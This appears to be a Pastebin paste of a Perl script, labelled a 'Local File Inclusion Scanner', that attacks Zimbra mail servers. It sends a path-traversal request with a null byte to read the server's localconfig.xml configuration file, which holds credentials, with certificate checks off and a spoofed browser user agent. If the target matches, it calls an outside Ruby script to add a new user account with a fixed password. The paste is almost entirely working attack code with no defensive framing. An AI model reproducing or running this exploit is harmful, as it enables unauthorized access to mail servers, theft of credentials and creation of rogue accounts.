Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use LWP::UserAgent;
- use HTTP::Request;
- sub main {
- print "-------------------------------------------------------------\n";
- print " \n";
- print " m mmmmmm mmmmm | [+] Title: Local File Inclusion Scanner \n";
- print " m m m | [+] Coded By: MOHAMED NOUR \n";
- print " m mmmmmm m | [+] Forum: dev-tun.tn \n";
- print " m m m | [+] Blog: www.technologiemax.tk\n";
- print " m m m | \n";
- print " mmmmmm m mmmmm | \n";
- print " \n";
- print "-------------------------------------------------------------\n";
- }
- $target = $ARGV[0];
- $port = $ARGV[1];
- if($target eq '')
- {
- main();
- print "-------------------------------------------------------------\n";
- print "Use: perl LFI.pl <target> <port> \n";
- print "Example: perl LFI.pl www.example.com 8080\n";
- print "-------------------------------------------------------------\n";
- exit(1);
- }
- if($target !~ /https:\/\// )
- {
- $target = "https://$target";
- }
- main();
- $can_accept = HTTP::Message::decodable;
- $agent = LWP::UserAgent->new(ssl_opts => { SSL_verify_mode => SSL_VERIFY_NONE, verify_hostname => 0, keep_alive => 1});
- $agent->agent('Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36');
- $zimbra = "$target:$port/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
- $search = 'a["<localconfig>"]=';
- $req = $agent->get($zimbra, 'Accept-Encoding' => $can_accept);
- $content = $req->decoded_content;
- print "Wait ...\n";
- sleep(10);
- agree_user();
- check();
- sub agree_user {
- if($content =~ /$search/){
- sleep(10);
- print "Vulnerable !\n";
- $respuesta = <STDIN>;
- }else{
- print "Not Vulnerable !\n";
- print "\n";
- exit();
- }
- }
- sub check{
- if ($respuesta == 1){
- print "Adding a new user...\n";
- system("ruby run.rb -t $ARGV[0] -u user_test -p ABCde..12345");
- exit(1);
- }else{
- print "GoodBye!\n";
- exit();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement